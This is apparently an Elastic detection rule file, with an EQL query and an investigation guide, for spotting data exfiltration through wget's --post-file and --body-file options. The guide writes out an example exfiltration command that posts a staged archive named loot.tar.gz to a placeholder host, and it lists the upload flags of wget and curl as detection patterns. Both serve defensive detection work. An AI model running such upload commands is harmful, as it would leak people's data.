Potential Data Exfiltration Through Wget

  1[metadata]
  2creation_date = "2026/01/07"
  3integration = ["endpoint", "crowdstrike", "sentinel_one_cloud_funnel", "auditd_manager"]
  4maturity = "production"
  5updated_date = "2026/01/12"
  6
  7[rule]
  8author = ["Elastic"]
  9description = """
 10Detects the use of wget to upload files to an internet server. Threat actors often will collect data on a system
 11and attempt to exfiltrate it back to their command and control servers. Use of wget in this way, while not
 12inherently malicious, should be considered highly abnormal and suspicious activity.
 13"""
 14from = "now-9m"
 15index = [
 16    "auditbeat-*",
 17    "endgame-*",
 18    "logs-auditd_manager.auditd-*",
 19    "logs-crowdstrike.fdr*",
 20    "logs-endpoint.events.process*",
 21    "logs-sentinel_one_cloud_funnel.*",
 22]
 23language = "eql"
 24license = "Elastic License v2"
 25name = "Potential Data Exfiltration Through Wget"
 26note = """ ## Triage and analysis
 27
 28> **Disclaimer**:
 29> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
 30
 31### Investigating Potential Data Exfiltration Through Wget
 32
 33This rule flags Linux processes that launch wget with options that upload a local file via HTTP POST, a behavior used to exfiltrate staged data to an external server. Attackers gather files, compress them in /tmp, then execute wget --post-file=/tmp/loot.tar.gz https://example.com/upload from a non-interactive shell or cron job to covertly push the archive out over standard web traffic.
 34
 35### Possible investigation steps
 36
 37- Pull the full command line to extract the posted file path, verify the file still exists, capture size/timestamps, and hash its contents to gauge sensitivity and origin.
 38- Review the process tree and session context (parent, user, TTY, cron/systemd/container) and correlate with recent logins or scheduler entries to determine whether this was automated or a remote shell action.
 39- Enrich the destination endpoint with DNS, WHOIS, certificate, proxy, and egress firewall logs, and check for prior communications from this host to the same domain/IP to assess legitimacy.
 40- Pivot 30–60 minutes prior on the host/user for staging activity such as tar/gzip in /tmp, bulk file collection, or discovery commands, and interrogate shell history and filesystem events tied to the posted file.
 41- If the file was removed post-upload, attempt recovery from EDR or backups and estimate exfil volume and content types via proxy or egress gateway logs to determine impact and drive containment.
 42
 43### False positive analysis
 44
 45- A maintenance or monitoring script run via cron posts log archives or configuration snapshots using wget --post-file to an internal HTTP endpoint for routine diagnostics.
 46- An administrator or developer testing a web form or API uses wget --body-file to POST a sample file during troubleshooting, producing a benign one-off event.
 47
 48### Response and remediation
 49
 50- Immediately isolate the host, terminate the offending wget process, block outbound HTTP(S) to the destination domain/IP seen in the command wget --post-file=/path/to/file https://example.com/upload, and quarantine the posted file path and its parent directory.
 51- Identify and disable any cron, systemd, or shell script that invoked wget with --post-file or --body-file (e.g., entries in /etc/cron.d/, user crontabs, or /home/user/.local/bin/upload.sh), delete the script, and revoke the invoking account’s API tokens and SSH keys.
 52- Remove staged archives and temp files referenced in the upload (e.g., /tmp/loot.tar.gz and /var/tmp/*.gz), delete companion tooling or collection scripts found alongside them, and reimage the host if system integrity cannot be assured.
 53- If the posted content includes credentials, source code, or customer data, rotate affected passwords/keys, invalidate tokens, notify data owners, and restore impacted systems or files from known-good backups.
 54- Escalate to incident response and initiate wider containment if the destination domain/IP is not owned by the organization or resolves to an anonymizing/VPS service, if multiple hosts exhibit wget --post-file from non-interactive sessions, or if the uploader executed as root.
 55- Harden by enforcing SELinux/AppArmor policies that restrict wget/curl from posting files, requiring egress web proxy allowlists for HTTP POST destinations, adding detections for wget --post-file/--body-file and curl --upload-file/-F, and removing wget from systems where it is unnecessary.
 56"""
 57references = ["https://gtfobins.github.io/gtfobins/wget/"]
 58risk_score = 47
 59rule_id = "8d8c0b55-ef27-4c20-959f-fa8dd3ac25e6"
 60setup = """## Setup
 61
 62This rule requires data coming in from Elastic Defend.
 63
 64### Elastic Defend Integration Setup
 65Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.
 66
 67#### Prerequisite Requirements:
 68- Fleet is required for Elastic Defend.
 69- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).
 70
 71#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:
 72- Go to the Kibana home page and click "Add integrations".
 73- In the query bar, search for "Elastic Defend" and select the integration to see more details about it.
 74- Click "Add Elastic Defend".
 75- Configure the integration name and optionally add a description.
 76- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads".
 77- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).
 78- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions"
 79- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead.
 80For more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).
 81- Click "Save and Continue".
 82- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts.
 83For more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).
 84"""
 85severity = "medium"
 86tags = [
 87  "Domain: Endpoint",
 88  "OS: Linux",
 89  "Use Case: Threat Detection",
 90  "Tactic: Exfiltration",
 91  "Data Source: Auditd Manager",
 92  "Data Source: Elastic Defend",
 93  "Data Source: Crowdstrike",
 94  "Data Source: SentinelOne",
 95  "Data Source: Elastic Endgame",
 96  "Resources: Investigation Guide",
 97]
 98timestamp_override = "event.ingested"
 99type = "eql"
100query = '''
101process where host.os.type == "linux" and event.type == "start" and
102event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and
103process.name == "wget" and process.args like ("--post-file=*", "--body-file=*")
104'''
105
106[[rule.threat]]
107framework = "MITRE ATT&CK"
108
109  [rule.threat.tactic]
110  name = "Exfiltration"
111  id = "TA0010"
112  reference = "https://attack.mitre.org/tactics/TA0010/"
113
114    [[rule.threat.technique]]
115    name = "Exfiltration Over Alternative Protocol"
116    id = "T1048"
117    reference = "https://attack.mitre.org/techniques/T1048/"